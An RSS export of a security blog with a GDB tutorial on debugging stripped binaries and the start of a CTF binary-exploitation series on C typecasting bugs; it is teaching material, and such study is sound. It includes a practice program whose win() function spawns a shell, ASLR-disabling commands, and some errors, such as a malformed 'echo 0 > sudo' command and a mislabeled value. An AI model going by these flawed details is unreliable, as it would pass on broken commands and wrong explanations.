<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Joshua Cole's Blog]]></title><description><![CDATA[Joshua Cole's Blog]]></description><link>https://colej.net</link><generator>RSS for Node</generator><lastBuildDate>Fri, 17 Apr 2026 15:54:33 GMT</lastBuildDate><atom:link href="https://colej.net/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[How to Reverse Engineer Stripped Binaries Easily Using GDB]]></title><description><![CDATA[During in the process of reverse engineering binaries, a common problem arises. How do I reverse engineer stripped binaries? There are no symbols to break on, offsets change, scripts don't work, and you ask yourself why am I doing this? Luckily there...]]></description><link>https://colej.net/how-to-reverse-engineer-stripped-binaries-easily-using-gdb</link><guid isPermaLink="true">https://colej.net/how-to-reverse-engineer-stripped-binaries-easily-using-gdb</guid><category><![CDATA[gdb]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[hacking]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Assembly]]></category><category><![CDATA[stripped]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Sun, 08 Sep 2024 01:07:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1725701564233/af30e087-9c66-4915-a452-3159434b23d1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>During in the process of reverse engineering binaries, a common problem arises. How do I reverse engineer stripped binaries? There are no symbols to break on, offsets change, scripts don't work, and you ask yourself why am I doing this? Luckily there are many tricks to make this easier and to keep yourself sane. In this article, I will be discussing how to use imagebase offsets to easily debug stripped binaries.</p>
<h1 id="heading-prerequisites">Prerequisites</h1>
<h2 id="heading-source-code">Source Code</h2>
<p>This is the source code that I will be debugging:</p>
<pre><code class="lang-c">  <span class="hljs-number">1</span> <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
  <span class="hljs-number">2</span> <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span>
  <span class="hljs-number">3</span> <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
  <span class="hljs-number">4</span> 
  <span class="hljs-number">5</span> <span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">init</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-number">6</span>     setvbuf(<span class="hljs-built_in">stdout</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>);
  <span class="hljs-number">7</span>     setvbuf(<span class="hljs-built_in">stdin</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>);
  <span class="hljs-number">8</span> }
  <span class="hljs-number">9</span> 
 <span class="hljs-number">10</span> <span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">win</span><span class="hljs-params">()</span> </span>{
 <span class="hljs-number">11</span>     system(<span class="hljs-string">"/bin/sh"</span>);
 <span class="hljs-number">12</span> }
 <span class="hljs-number">13</span> 
 <span class="hljs-number">14</span> <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
 <span class="hljs-number">15</span>     <span class="hljs-keyword">int</span> isValid;
 <span class="hljs-number">16</span>     <span class="hljs-keyword">char</span> password[] = <span class="hljs-string">"password"</span>;
 <span class="hljs-number">17</span>     <span class="hljs-keyword">char</span> input[<span class="hljs-number">100</span>]; 
 <span class="hljs-number">18</span>     
 <span class="hljs-number">19</span>     <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Guess my password!\n"</span>);
 <span class="hljs-number">20</span>     <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%99s"</span>, input);
 <span class="hljs-number">21</span> 
 <span class="hljs-number">22</span>     isValid = <span class="hljs-built_in">strcmp</span>(input, password);  
 <span class="hljs-number">23</span>     <span class="hljs-keyword">if</span> (isValid == <span class="hljs-number">0</span>) { 
 <span class="hljs-number">24</span>         <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Access granted!\n"</span>);
 <span class="hljs-number">25</span>         win();  
 <span class="hljs-number">26</span>     } <span class="hljs-keyword">else</span> {
 <span class="hljs-number">27</span>         <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Access denied.\n"</span>);
 <span class="hljs-number">28</span>     }
 <span class="hljs-number">29</span> 
 <span class="hljs-number">30</span>     <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
 <span class="hljs-number">31</span> }
</code></pre>
<p>To strip this file you can either:</p>
<ul>
<li><p>Strip it while compiling: <code>gcc simple-pwn.c -o simple-pwn.o -s</code></p>
</li>
<li><p>Strip the output binary: <code>strip simple-pwn.o</code></p>
</li>
</ul>
<p>To check if the binary is stripped, you can use the <code>file</code> command:</p>
<pre><code class="lang-c">[user@myarch]$ file simple-pwn.o
simple-pwn.o: ELF <span class="hljs-number">64</span>-bit LSB pie executable, x86<span class="hljs-number">-64</span>, version <span class="hljs-number">1</span> (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86<span class="hljs-number">-64.</span>so<span class="hljs-number">.2</span>, 
BuildID[sha1]=a06a70a06059d4f98e06171bc39ffb3a9ad667eb, 
<span class="hljs-keyword">for</span> GNU/Linux <span class="hljs-number">4.4</span><span class="hljs-number">.0</span>, stripped
</code></pre>
<h2 id="heading-turning-off-aslr">Turning off ASLR</h2>
<p>ASLR (Address Space Layout Randomization) is a security feature that randomizes memory addresses to make it harder to exploit vulnerabilities. This can be frustrating in gdb when you try to access memory addresses that no longer exist. ASLR is enabled in gdb when the setuid bit (which allows the binary to execute with the privileges of its owner) is set to true. This is common with remote desktops that you connect to; however, it's not always necessary to disable ASLR.</p>
<h3 id="heading-a-turning-off-aslr-on-a-particular-file">a) Turning off ASLR on a particular file</h3>
<p>To disable the setuid bit on a file, either:</p>
<ol>
<li><p><strong>Direct Permission Change</strong>:</p>
<pre><code class="lang-bash"> chmod u-s filename
</code></pre>
</li>
<li><p><strong>copy it into /tmp</strong>:</p>
<pre><code class="lang-bash"> cp ./filename /tmp/filename
</code></pre>
</li>
</ol>
<h3 id="heading-b-turning-aslr-off-system-wide-sudo-permission">b) Turning ASLR off system wide (sudo permission)</h3>
<p>The value of <code>/proc/sys/kernel/randomize_va_space</code> controls ASLR on your system. The command below will temporarily disable ASLR until the next restart.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> 0 &gt; sudo /proc/sys/kernel/randomize_va_space
</code></pre>
<p>The following options:</p>
<ul>
<li><p>0: disabled</p>
</li>
<li><p>1: Conservative: Shared libraries and PIE binaries are randomized.</p>
</li>
<li><p>2: Conservative and start of <em>brk</em> area is randomized.</p>
</li>
</ul>
<p>To turn ASLR back on:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> 2 &gt; sudo /proc/sys/kernel/randomize_va_space
</code></pre>
<h3 id="heading-c-turning-off-aslr-while-using-pwntools-with-gdb">c) Turning off ASLR while using pwntools with GDB</h3>
<p><code>pwntools</code> is a python module that greatly aids in reverse engineering and binary exploitation. However it does load ASLR automatically even if the setuid bit is false. Fortunately, there's a parameter that disables ASLR.</p>
<pre><code class="lang-python"><span class="hljs-meta">&gt;&gt;&gt; </span><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> * 
<span class="hljs-meta">&gt;&gt;&gt; </span>filename = <span class="hljs-string">'/tmp/simple-pwn.o'</span> 
<span class="hljs-meta">&gt;&gt;&gt; </span>gdb.debug(filename,aslr=<span class="hljs-literal">False</span>)
</code></pre>
<h2 id="heading-adding-the-base-address-to-gdb">Adding the Base Address to GDB</h2>
<p>When ASLR is turned off, the base address of any binary will be fixed at <code>0x0000555555554000</code>. To set this as a variable in GDB, execute the following command:</p>
<pre><code class="lang-bash">(gdb) <span class="hljs-built_in">set</span> <span class="hljs-variable">$BASE</span> = 0x0000555555554000
</code></pre>
<p>I highly recommend adding this line to your <code>~/.gdbinit</code> file to ensure it's set every time you run gdb.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">'set $BASE = 0x0000555555554000'</span> &gt;&gt; ~/.gdbinit
</code></pre>
<p>This will be used heavily in the next section.</p>
<h1 id="heading-using-offsets">Using offsets</h1>
<p>You can break at specified points in the code of a binary if you know the offset to the instructions.</p>
<h2 id="heading-finding-offsets">Finding Offsets</h2>
<h3 id="heading-a-gdb">a) GDB</h3>
<p>Using GDB's built-in functions, you can find the entry address offset before the binary has run:</p>
<pre><code class="lang-c">(gdb) info file
Symbols from <span class="hljs-string">"/tmp/simple-pwn.o"</span>.
Local exec file:
    `/tmp/simple-pwn.o<span class="hljs-number">'</span>, file type elf64-x86<span class="hljs-number">-64.</span>
    Entry point: <span class="hljs-number">0x1090</span>
    <span class="hljs-number">0x0000000000000318</span> - <span class="hljs-number">0x0000000000000334</span> is .interp
    <span class="hljs-number">0x0000000000000338</span> - <span class="hljs-number">0x0000000000000378</span> is .note.gnu.property
    <span class="hljs-number">0x0000000000000378</span> - <span class="hljs-number">0x000000000000039c</span> is .note.gnu.build-id
    <span class="hljs-number">0x000000000000039c</span> - <span class="hljs-number">0x00000000000003bc</span> is .note.ABI-tag
    <span class="hljs-number">0x00000000000003c0</span> - <span class="hljs-number">0x00000000000003e8</span> is .gnu.hash
    <span class="hljs-number">0x00000000000003e8</span> - <span class="hljs-number">0x0000000000000538</span> is .dynsym
    <span class="hljs-number">0x0000000000000538</span> - <span class="hljs-number">0x000000000000061c</span> is .dynstr
    <span class="hljs-number">0x000000000000061c</span> - <span class="hljs-number">0x0000000000000638</span> is .gnu.version
    <span class="hljs-number">0x0000000000000638</span> - <span class="hljs-number">0x0000000000000688</span> is .gnu.version_r
    <span class="hljs-number">0x0000000000000688</span> - <span class="hljs-number">0x0000000000000778</span> is .rela.dyn
    <span class="hljs-number">0x0000000000000778</span> - <span class="hljs-number">0x0000000000000808</span> is .rela.plt
    <span class="hljs-number">0x0000000000001000</span> - <span class="hljs-number">0x000000000000101b</span> is .init
    <span class="hljs-number">0x0000000000001020</span> - <span class="hljs-number">0x0000000000001090</span> is .plt
    <span class="hljs-number">0x0000000000001090</span> - <span class="hljs-number">0x0000000000001296</span> is .text
    <span class="hljs-number">0x0000000000001298</span> - <span class="hljs-number">0x00000000000012a5</span> is .fini
    <span class="hljs-number">0x0000000000002000</span> - <span class="hljs-number">0x0000000000002043</span> is .rodata
    <span class="hljs-number">0x0000000000002044</span> - <span class="hljs-number">0x0000000000002078</span> is .eh_frame_hdr
    <span class="hljs-number">0x0000000000002078</span> - <span class="hljs-number">0x0000000000002134</span> is .eh_frame
    <span class="hljs-number">0x0000000000003dd0</span> - <span class="hljs-number">0x0000000000003dd8</span> is .init_array
    <span class="hljs-number">0x0000000000003dd8</span> - <span class="hljs-number">0x0000000000003de0</span> is .fini_array
    <span class="hljs-number">0x0000000000003de0</span> - <span class="hljs-number">0x0000000000003fc0</span> is .dynamic
    <span class="hljs-number">0x0000000000003fc0</span> - <span class="hljs-number">0x0000000000003fe8</span> is .got
    <span class="hljs-number">0x0000000000003fe8</span> - <span class="hljs-number">0x0000000000004030</span> is .got.plt
    <span class="hljs-number">0x0000000000004030</span> - <span class="hljs-number">0x0000000000004040</span> is .data
    <span class="hljs-number">0x0000000000004040</span> - <span class="hljs-number">0x0000000000004060</span> is .bss
</code></pre>
<p>From here you can find where the instructions are stored, by looking at the offset at 'Entry Point: 0x1090'. The instruction offset's of the binary can now be found:</p>
<pre><code class="lang-c">(gdb) x/<span class="hljs-number">20</span>i <span class="hljs-number">0x1090</span>
   <span class="hljs-number">0x1090</span>:    endbr64
   <span class="hljs-number">0x1094</span>:    <span class="hljs-keyword">xor</span>    ebp,ebp
   <span class="hljs-number">0x1096</span>:    mov    r9,rdx
   <span class="hljs-number">0x1099</span>:    pop    rsi
   <span class="hljs-number">0x109a</span>:    mov    rdx,rsp
   <span class="hljs-number">0x109d</span>:    <span class="hljs-keyword">and</span>    rsp,<span class="hljs-number">0xfffffffffffffff0</span>
   <span class="hljs-number">0x10a1</span>:    push   rax
   <span class="hljs-number">0x10a2</span>:    push   rsp
   <span class="hljs-number">0x10a3</span>:    <span class="hljs-keyword">xor</span>    r8d,r8d
   <span class="hljs-number">0x10a6</span>:    <span class="hljs-keyword">xor</span>    ecx,ecx
   <span class="hljs-number">0x10a8</span>:    lea    rdi,[rip+<span class="hljs-number">0x133</span>]        # <span class="hljs-number">0x11e2</span>
   <span class="hljs-number">0x10af</span>:        call   QWORD PTR [rip+<span class="hljs-number">0x2f0b</span>]        # <span class="hljs-number">0x3fc0</span>
   <span class="hljs-number">0x10b5</span>:    hlt
   <span class="hljs-number">0x10b6</span>:    cs nop WORD PTR [rax+rax*<span class="hljs-number">1</span>+<span class="hljs-number">0x0</span>]
   <span class="hljs-number">0x10c0</span>:    lea    rdi,[rip+<span class="hljs-number">0x2f79</span>]        # <span class="hljs-number">0x4040</span> &lt;<span class="hljs-built_in">stdout</span>&gt;
   <span class="hljs-number">0x10c7</span>:    lea    rax,[rip+<span class="hljs-number">0x2f72</span>]        # <span class="hljs-number">0x4040</span> &lt;<span class="hljs-built_in">stdout</span>&gt;
   <span class="hljs-number">0x10ce</span>:    cmp    rax,rdi
   <span class="hljs-number">0x10d1</span>:    je     <span class="hljs-number">0x10e8</span>
   <span class="hljs-number">0x10d3</span>:    mov    rax,QWORD PTR [rip+<span class="hljs-number">0x2eee</span>]        # <span class="hljs-number">0x3fc8</span>
   <span class="hljs-number">0x10da</span>:    test   rax,rax
</code></pre>
<h3 id="heading-b-objdump">b) objdump</h3>
<p>objdump is a command-line utility that displays the machine code of a binary in assembly language along with its offsets.</p>
<pre><code class="lang-c">[user@myarch Articles]$ objdump -d -M intel -j .text simple-pwn.o

simple-pwn.o:     file format elf64-x86<span class="hljs-number">-64</span>


Disassembly of section .text:

<span class="hljs-number">0000000000001090</span> &lt;.text&gt;:
    <span class="hljs-number">1090</span>:    f3 <span class="hljs-number">0f</span> <span class="hljs-number">1</span>e fa              endbr64
    <span class="hljs-number">1094</span>:    <span class="hljs-number">31</span> ed                    <span class="hljs-keyword">xor</span>    ebp,ebp
    <span class="hljs-number">1096</span>:    <span class="hljs-number">49</span> <span class="hljs-number">89</span> d1                 mov    r9,rdx
    <span class="hljs-number">1099</span>:    <span class="hljs-number">5</span>e                       pop    rsi
    <span class="hljs-number">109</span>a:    <span class="hljs-number">48</span> <span class="hljs-number">89</span> e2                 mov    rdx,rsp
    <span class="hljs-number">109</span>d:    <span class="hljs-number">48</span> <span class="hljs-number">83</span> e4 f0              <span class="hljs-keyword">and</span>    rsp,<span class="hljs-number">0xfffffffffffffff0</span>
    <span class="hljs-number">10</span>a1:    <span class="hljs-number">50</span>                       push   rax
    <span class="hljs-number">10</span>a2:    <span class="hljs-number">54</span>                       push   rsp
    <span class="hljs-number">10</span>a3:    <span class="hljs-number">45</span> <span class="hljs-number">31</span> c0                 <span class="hljs-keyword">xor</span>    r8d,r8d
    <span class="hljs-number">10</span>a6:    <span class="hljs-number">31</span> c9                    <span class="hljs-keyword">xor</span>    ecx,ecx
    <span class="hljs-number">10</span>a8:    <span class="hljs-number">48</span> <span class="hljs-number">8</span>d <span class="hljs-number">3</span>d <span class="hljs-number">33</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>     lea    rdi,[rip+<span class="hljs-number">0x133</span>]       
    <span class="hljs-number">10</span>af:    ff <span class="hljs-number">15</span> <span class="hljs-number">0b</span> <span class="hljs-number">2f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>        call   QWORD PTR [rip+<span class="hljs-number">0x2f0b</span>]        
    <span class="hljs-number">10b</span>5:    f4                       hlt
    <span class="hljs-number">10b</span>6:    <span class="hljs-number">66</span> <span class="hljs-number">2</span>e <span class="hljs-number">0f</span> <span class="hljs-number">1f</span> <span class="hljs-number">84</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>     cs nop WORD PTR [rax+rax*<span class="hljs-number">1</span>+<span class="hljs-number">0x0</span>]
...
</code></pre>
<h3 id="heading-c-getting-offsets-with-a-decompiler-ghidra">c) Getting offsets with a Decompiler (Ghidra)</h3>
<p>All good decompilers provide a method to determine the offset of an instruction from the base of the binary. In Ghidra, you can easily get the offset of an assembly instruction by hovering over it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1725700220863/fd00044d-7a43-4bbe-84fa-662193258006.png" alt class="image--center mx-auto" /></p>
<p>The offset we need is the 'Imagebase Offset,' which is <code>+1230h</code> or <code>0x1230</code>.</p>
<h2 id="heading-using-the-offsets">Using the offsets</h2>
<p>Once the offset is found, it can be added to the <code>$BASE</code> variable to get its runtime memory address. For example, the runtime instruction address for 'call scanf' can be found by adding its offset (<code>0x1230</code>) to the base address.</p>
<pre><code class="lang-c">For help, type <span class="hljs-string">"help"</span>.
Type <span class="hljs-string">"apropos word"</span> to search <span class="hljs-keyword">for</span> commands related to <span class="hljs-string">"word"</span>...
Reading symbols from ./simple-pwn.o...
(No debugging symbols found in ./simple-pwn.o)
(gdb) p/x $BASE + <span class="hljs-number">0x1230</span>
$<span class="hljs-number">1</span> = <span class="hljs-number">0x555555555230</span>
</code></pre>
<p>The address <code>0x555555555230</code> is the runtime address for the 'call scanf' instruction. This address can then be used for a breakpoint.</p>
<pre><code class="lang-c">(gdb) b *($BASE + <span class="hljs-number">0x1230</span>)
Breakpoint <span class="hljs-number">1</span> at <span class="hljs-number">0x555555555230</span>
(gdb) r
Starting program: /tmp/simple-pwn.o 
[Thread debugging <span class="hljs-keyword">using</span> libthread_db enabled]
Using host libthread_db library <span class="hljs-string">"/usr/lib/libthread_db.so.1"</span>.
Guess my password!

Breakpoint <span class="hljs-number">1</span>, <span class="hljs-number">0x0000555555555230</span> in ?? ()
(gdb)
</code></pre>
<p>Addresses created by the offset and <code>$BASE</code> can be used for all other functions of gdb, such as call, watch, jump, etc.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Thanks for reading this article, I hope it is useful for you. If you have any questions you can dm me at <a target="_blank" href="https://x.com/dingo418">@dingo418</a>. If you have any other gdb tips that you think would be useful for people to know, let me know.</p>
<p>Credits:</p>
<p><a target="_blank" href="https://renenyffenegger.ch/notes/Linux/fhs/proc/sys/kernel/randomize_va_space">Documentation for ASLR</a></p>
]]></content:encoded></item><item><title><![CDATA[Pwning 0x01: C Typecasting]]></title><description><![CDATA[When I was learning how to tackle pwn challenges in CTFs, I had a tough time finding a single, clear guide that could show me the ropes of actually carrying out these exploits. That's why I decided to put together a complete guide that covers everyth...]]></description><link>https://colej.net/pwning-0x01-c-typecasting</link><guid isPermaLink="true">https://colej.net/pwning-0x01-c-typecasting</guid><category><![CDATA[C]]></category><category><![CDATA[coding]]></category><category><![CDATA[hacking]]></category><category><![CDATA[low level programming]]></category><category><![CDATA[pain]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Wed, 01 Nov 2023 10:02:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/ufnhDMFOZ_M/upload/386b0f472337b754d97901b69e78257a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When I was learning how to tackle pwn challenges in CTFs, I had a tough time finding a single, clear guide that could show me the ropes of actually carrying out these exploits. That's why I decided to put together a complete guide that covers everything you need to know.</p>
<p>Having some background knowledge in C, stack, and assembly will be super helpful, and eventually a must, as we tackle more advanced topics. I will be using Kali Linux as the main platform for this series, but most of what we'll learn can also be applied to Windows.</p>
<h1 id="heading-what-is-typecasting">What is Typecasting?</h1>
<p>Typecasting takes place when the compiler converts a value into a different data type. Such conversions can often be mishandled and may result in unexpected behaviour that you can abuse to control the program's control flow. In this article, our focus will primarily be on C, which offers the most attack vectors to explore.</p>
<h2 id="heading-explicit-type-casting"><strong>Explicit Type Casting</strong></h2>
<p>Explicit type casting is when the programmer explicitly specifies the desired type conversion. For example:</p>
<pre><code class="lang-c"><span class="hljs-keyword">double</span> x = <span class="hljs-number">10.5</span>;  <span class="hljs-comment">// x is a double</span>
<span class="hljs-keyword">int</span> y = (<span class="hljs-keyword">int</span>)x;    <span class="hljs-comment">// Explicitly convert the double x to an int</span>

<span class="hljs-built_in">printf</span>(<span class="hljs-string">"%d\n"</span>, y);  <span class="hljs-comment">// Output: 10</span>
</code></pre>
<p>Here, <code>x</code> is a <code>double</code>, and it has been specifically changed into an <code>int</code> using <code>(int)x</code>. This explicit casting clearly tells the system to convert the double value into an <code>int</code>.</p>
<h2 id="heading-implicit-type-casting"><strong>Implicit Type Casting</strong></h2>
<p>When doing arithmetic operations, the compiler can automatically change the types of data to be compatible with each other. This occurs automatically by the language's rules and type system. For example:</p>
<pre><code class="lang-c"><span class="hljs-keyword">int</span> x = <span class="hljs-number">10</span>;
<span class="hljs-keyword">double</span> y = <span class="hljs-number">5.2</span>; 

<span class="hljs-keyword">double</span> result = x + y;  <span class="hljs-comment">// The integer x is implicitly promoted to a double</span>
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"%lf\n"</span>, result);  <span class="hljs-comment">// Output: 15.200000</span>
</code></pre>
<p>The integer <code>x</code> is implicitly promoted to a <code>double</code> so that the addition operation can be performed without data loss. But how does it know what operand to change?</p>
<h2 id="heading-overview-of-the-data-types">Overview of the Data Types</h2>
<p>Here's a quick overview of various data types, their sizes in bytes, and their respective value ranges:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Data Type</td><td>Size (bytes)</td><td>Range</td></tr>
</thead>
<tbody>
<tr>
<td><strong>short int</strong></td><td>2</td><td>-32,768 to 32,767</td></tr>
<tr>
<td><strong>unsigned short int</strong></td><td>2</td><td>0 to 65,535</td></tr>
<tr>
<td><strong>unsigned int</strong></td><td>4</td><td>0 to 4,294,967,295</td></tr>
<tr>
<td><strong>int</strong></td><td>4</td><td>-2,147,483,648 to 2,147,483,647</td></tr>
<tr>
<td><strong>long int</strong></td><td>4</td><td>-2,147,483,648 to 2,147,483,647</td></tr>
<tr>
<td><strong>unsigned long int</strong></td><td>4</td><td>0 to 4,294,967,295</td></tr>
<tr>
<td><strong>long long int</strong></td><td>8</td><td>-(2^63) to (2^63)-1</td></tr>
<tr>
<td><strong>unsigned long long int</strong></td><td>8</td><td>0 to 18,446,744,073,709,551,615</td></tr>
<tr>
<td><strong>signed char</strong></td><td>1</td><td>-128 to 127</td></tr>
<tr>
<td><strong>unsigned char</strong></td><td>1</td><td>0 to 255</td></tr>
<tr>
<td><strong>float</strong></td><td>4</td><td>1.2E-38 to 3.4E+38</td></tr>
<tr>
<td><strong>double</strong></td><td>8</td><td>1.7E-308 to 1.7E+308</td></tr>
<tr>
<td><strong>long double</strong></td><td>16</td><td>3.4E-4932 to 1.1E+4932</td></tr>
</tbody>
</table>
</div><h3 id="heading-generic-arithmetic-conversions">Generic Arithmetic Conversions</h3>
<p>The intricate specifics of how arithmetic conversions determine what to convert fall beyond the scope of this article. You won't need an understanding for this article. It is a very large topic, and some more detailed information can be found <a target="_blank" href="https://www.informit.com/articles/article.aspx?p=686170&amp;seqNum=5">here</a>. But In a nutshell, it adheres to a data type hierarchy and a set of straightforward rules. When the values are of the same type, the conversion process concludes.</p>
<ol>
<li><p><strong>Floating Points Take Precedence:</strong> If any operand is a floating-point number, convert all operands to the floating-point type with the highest precision. No further conversion is needed.</p>
</li>
<li><p><strong>Apply Integer Promotions:</strong> When both operands are of integer types, integer promotions are carried out on both operands. This entails converting any integer type narrower than an <code>int</code> into an <code>int</code>, while leaving unchanged any type that matches the width of an <code>int</code>, is larger than an <code>int</code>, or is not an integer type.</p>
</li>
<li><p><strong>Conversion Based on Integer Conversion Rank:</strong> If the operands have the same sign (both signed or both unsigned), convert the operand with the lower integer conversion rank to the type of the operand with the higher integer conversion rank. This step finishes the conversion.</p>
</li>
</ol>
<ul>
<li><p>If the unsigned operand has a higher or equal integer conversion rank compared to the signed operand, convert the signed operand to the type of the unsigned operand.</p>
</li>
<li><p>If the signed operand has a higher integer conversion rank than the unsigned operand and a value-preserving conversion is possible, convert the unsigned operand to the type of the signed operand, completing the conversion.</p>
</li>
<li><p>If the signed operand has a higher integer conversion rank than the unsigned operand, but a value-preserving conversion is not possible, convert both operands to the unsigned type corresponding to the type of the signed operand. This is the final step in the conversion process.</p>
</li>
</ul>
<p>If you don't know what a "signed" data type is, it will be further discussed below. But how does the compiler convert between different signs, sizes and ranges?</p>
<p><a target="_blank" href="https://www.geeksforgeeks.org/implicit-type-conversion-in-c-with-examples/"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697274618250/92828715-c174-4ec3-92cf-c7da623b81d0.jpeg" alt class="image--center mx-auto" /></a></p>
<h1 id="heading-conversion-type">Conversion Type:</h1>
<p>Although typecasting works most of the time, it's not perfect. To help learn how C deals with conversion. I wrote a program <a target="_blank" href="https://github.com/Dingo418/pwning-101/tree/main/1">here</a>%20TypeCasting) that will allow you to simply convert to and from different data types.</p>
<pre><code class="lang-c">From:
[<span class="hljs-number">0</span>] <span class="hljs-keyword">signed</span> <span class="hljs-keyword">char</span>
[<span class="hljs-number">1</span>] <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span>
[<span class="hljs-number">2</span>] <span class="hljs-function"><span class="hljs-keyword">short</span> <span class="hljs-title">int</span> <span class="hljs-params">(<span class="hljs-keyword">or</span> <span class="hljs-keyword">short</span>)</span>
[3] <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">short</span> <span class="hljs-title">int</span> <span class="hljs-params">(<span class="hljs-keyword">or</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">short</span>)</span>
[4] <span class="hljs-keyword">int</span>
[5] <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>
[6] <span class="hljs-keyword">long</span> <span class="hljs-title">int</span> <span class="hljs-params">(<span class="hljs-keyword">or</span> <span class="hljs-keyword">long</span>)</span>
[7] <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-title">int</span> <span class="hljs-params">(<span class="hljs-keyword">or</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>)</span>
[8] <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-title">int</span> <span class="hljs-params">(<span class="hljs-keyword">or</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span>)</span>
[9] <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-title">int</span> <span class="hljs-params">(<span class="hljs-keyword">or</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span>)</span>
[10] <span class="hljs-keyword">float</span>
[11] <span class="hljs-keyword">double</span>
[12] <span class="hljs-keyword">long</span> <span class="hljs-keyword">double</span>
Enter the first corresponding type index: 3
Enter the second corresponding type index: 2
Enter original Value: 65535
Original Unsigned Short Int Value: 65535
Converted to Short Int Value: -1</span>
</code></pre>
<p>There are 3 different types of typecasting:</p>
<h2 id="heading-narrowing">Narrowing</h2>
<p>This occurs when a value is converted to a data type with a smaller range. For example, converting an <code>int</code> to an <code>short int</code> is a narrowing conversion. It may result in data loss if the <code>int</code> value is larger than the size of the value that the <code>short int</code> can hold.</p>
<p>Here is an example in C:</p>
<pre><code class="lang-c">Enter the first corresponding type: <span class="hljs-keyword">int</span>
Enter the second corresponding type: <span class="hljs-keyword">short</span> <span class="hljs-keyword">int</span> 
Enter original Value: <span class="hljs-number">1011135</span>
Original <span class="hljs-keyword">int</span> Value: <span class="hljs-number">1011135</span>
Converted to <span class="hljs-keyword">short</span> <span class="hljs-keyword">int</span> Value: <span class="hljs-number">28095</span>
</code></pre>
<p>Breaking this down into binary:</p>
<pre><code class="lang-c"><span class="hljs-function">Original <span class="hljs-title">Int</span> <span class="hljs-params">(<span class="hljs-number">4</span> bytes)</span>: 010101010101111|0110110110111111 <span class="hljs-comment">//1011135</span>
Short <span class="hljs-title">Int</span>    <span class="hljs-params">(<span class="hljs-number">2</span> Bytes)</span>:                |0110110110111111 <span class="hljs-comment">//48576</span></span>
</code></pre>
<p>As you can see, the operation simply disregards the larger bits.</p>
<h2 id="heading-signed-conversion"><strong>Signed Conversion:</strong></h2>
<p>This occurs when a data type's sign convention is changed. For example, converting a negative <code>int</code> to an <code>unsigned int</code> will be converted incorrectly. But to understand how sign conversion works, let's first understand how the sign convention works.</p>
<h3 id="heading-twos-complement-representation">Two's Complement representation</h3>
<p>To understand signed conversion, let's begin by getting a handle on how a signed data type operates. C relies on what's known as Two's Complement representation. In this case, we'll illustrate it using just 4 bits, and it essentially boils down to two key aspects:</p>
<ul>
<li><p>The leftmost bit, also known as the most significant bit (MSB), serves as the sign bit. It tells us whether the number is positive (0) or negative (1).</p>
</li>
<li><p>The rest of the bits follow the standard binary rules to represent the magnitude of the number.</p>
</li>
</ul>
<p>Let's provide examples for both positive and negative numbers:</p>
<p><strong>Example 1: Positive Number</strong></p>
<p>Suppose we need to convert 6 into a 4-bit binary representation. 6 can be represented as (1 × 2²) + (1 × 2¹) + (0 × 2⁰) = (6)₁ or <code>110</code>. As it is not negative, the MSB is 0 thus the 4-bit signed binary representation of 6 is <code>0110</code>.</p>
<p><strong>Example 2: Negative Number</strong></p>
